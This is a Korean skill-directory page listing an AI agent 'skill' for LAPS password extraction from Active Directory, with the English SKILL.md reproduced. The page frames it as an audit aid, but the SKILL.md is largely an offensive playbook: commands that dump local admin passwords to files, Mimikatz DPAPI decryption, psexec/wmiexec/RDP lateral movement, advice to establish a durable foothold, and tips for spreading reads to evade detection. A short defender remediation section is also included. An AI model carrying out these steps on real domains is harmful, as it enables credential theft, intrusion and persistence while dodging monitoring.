본문으로 건너뛰기
Skillpedia
보안6.5k · #13943

laps

하는 일

이 스킬은 각 컴퓨터에 고유한 로컬 관리자 비밀번호를 만들어 Active Directory에 저장하는 Windows 기능인 Local Administrator Password Solution(LAPS)을 설명합니다. 이 비밀번호를 누가 읽을 수 있는지 감사하는 보안 담당자를 위한 스킬입니다.

사용하는 경우

  • ✓보안 테스터가 허가된 도메인에서 LAPS 비밀번호를 읽을 수 있는 계정을 찾고 싶을 때.
  • ✓에이전트가 디렉터리 스키마에 LAPS가 배포되어 있는지 확인해야 할 때.
  • ✓감사 보고서에 로컬 관리자 비밀번호에 대한 넓은 읽기 권한이 위험한 이유를 설명해야 하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/laps/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/laps/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리 허가된 테스트 도메인에서 어떤 계정이 LAPS 로컬 관리자 비밀번호를 읽을 수 있는지 확인해 주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 디렉터리 스키마를 확인해 LAPS가 설치되었는지 보고, 컴퓨터 객체에 읽기 권한을 가진 계정 목록을 나열합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

LAPS Password Extraction

LAPS (Local Administrator Password Solution) stores randomized local admin passwords on computer objects in AD. Reading them requires ms-Mcs-AdmPwd (legacy) or msLAPS-Password (Windows LAPS) read permission — which is OFTEN over-delegated.

1. Detect LAPS deployment

# Legacy LAPS schema
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'CN=Schema,CN=Configuration,DC=corp,DC=local' \
  '(name=ms-Mcs-AdmPwd)' name

# Windows LAPS (2023+)
ldapsearch ... '(name=msLAPS-Password)' name

# Either present = LAPS is deployed

2. Find delegated readers (your target ACL)

From BloodHound — anyone with ReadLAPSPassword edge:

MATCH (n)-[:ReadLAPSPassword]->(c:Computer)
RETURN DISTINCT n.name, c.name

Common over-delegation patterns:

  • "HelpDesk-LAPS-Read" groups granted to ALL computers
  • IT-Operations OUs reading their child OUs (then a flat OU = global)
  • Service accounts with GenericAll on Computer objects (implies LAPS read)

3. Read passwords (assuming you can)

# Direct LDAP query as authorized user
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'DC=corp,DC=local' \
  '(&(objectClass=computer)(ms-Mcs-AdmPwd=*))' \
  name dNSHostName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime > /tmp/laps.txt

# Windows LAPS uses encrypted attribute by default
ldapsearch ... \
  '(&(objectClass=computer)(msLAPS-EncryptedPassword=*))' \
  name dNSHostName msLAPS-EncryptedPassword msLAPS-Password

Impacket helper:

# Recovers legacy LAPS
GetLAPSPassword.py 'DOM/USER:PASS@DC_FQDN' \
  -outputfile /tmp/laps.csv

# Newer Windows LAPS w/ encryption: use python-windows-laps or
# manual ASN.1 decode w/ user's DPAPI key

4. Bulk-process result

laps_ingest("/tmp/laps.txt")

This adds:

kg_add_node(kind="credential", label="<host>\\Administrator:<plain>",
            props={"source":"laps","host":"<host>","expires":"<date>"})
kg_add_edge(src=<cred>, dst=<computer>, kind="local-admin")

5. Cracking encrypted LAPS (Windows LAPS only)

Windows LAPS (server 2022+) encrypts the password with a per-principal DPAPI key derived from the AD-stored public key. To decrypt:

  • You need either the authorized principal's DPAPI master key (from their profile via Mimikatz dpapi::masterkey), or
  • The recovery key configured via Set-LAPSADAuditing policy

If neither, the msLAPS-EncryptedPassword blob is useless without context.

6. Authentication with LAPS pw

# SMB / WMI as local admin
psexec.py 'HOST\\Administrator:LAPS_PW@10.0.0.5'
wmiexec.py 'HOST\\Administrator:LAPS_PW@10.0.0.5'

# RDP
xfreerdp /u:Administrator /p:'LAPS_PW' /v:10.0.0.5 +clipboard

NOTE: LAPS rotates on a schedule (default 30 days). Use the pw quickly and grab a more durable foothold (cached creds, scheduled task, service account hash).

OPSEC

  • LDAP search for ms-Mcs-AdmPwd attribute is event 4662 on DC with object type Computer and Properties referencing the AdmPwd GUID
  • Detection signature: 4662 reading large numbers of computer objects for the AdmPwd attribute = LAPS scrape in progress
  • Spread reads over time, scope by OU not domain-wide

CVSS

  • Anyone in domain reading any LAPS pw: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 7.5
  • Over-delegated to wide group reading hundreds of hosts: 9.0 (scope: Changed)

Defender remediation

# Audit who can read LAPS pw on a Computer object
Get-ACL "AD:CN=HOST,OU=Servers,DC=dom,DC=local" |
  Select -ExpandProperty Access |
  Where {$_.ObjectType -eq '<AdmPwd-GUID>'} |
  Format-Table IdentityReference, ActiveDirectoryRights

# Remove over-delegated readers
$acl = Get-ACL "AD:CN=HOST,..."
$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule(
  'DOM\HelpDeskGroup', 'ExtendedRight', 'Deny',
  '<AdmPwd-GUID>', 'Descendents', '<Computer-GUID>')
$acl.AddAccessRule($ace)
Set-ACL -Path "AD:CN=HOST,..." -AclObject $acl

# Or use the LAPS-shipped audit cmdlet
Find-AdmPwdExtendedRights -Identity 'OU=Servers,DC=dom,DC=local'

Known exemplars

  • 2018: HelpDeskTier1 group granted ReadLAPS at domain root by accident → entire estate compromised
  • 2021: Tenable Nessus default service account had LAPS read via GenericAll
  • 2023: Multiple ManageEngine deployments over-delegated LAPS to "AssetMgmt" service account
자주 묻는 질문

LAPS란 무엇인가요?

각 컴퓨터에 무작위 로컬 관리자 비밀번호를 부여하고, 이를 Active Directory에 저장하는 Microsoft 기능입니다.

권한이 과도하게 위임되면 왜 문제인가요?

스킬은 이 비밀번호를 읽을 수 있는 계정이 너무 많으면, 하나의 계정이 털렸을 때 많은 컴퓨터에 접근할 수 있다고 설명합니다.

스킬은 비밀번호를 읽는 방법도 다루나요?

허가된 감사 안에서의 점검 방법을 설명합니다. 비밀번호를 읽으려면 명시적인 허가가 필요합니다.

상세 정보

작성자의 원본 설명

Extract LAPS-managed local administrator passwords from AD computer objects (ms-Mcs-AdmPwd / msLAPS-Password).

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#13943
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬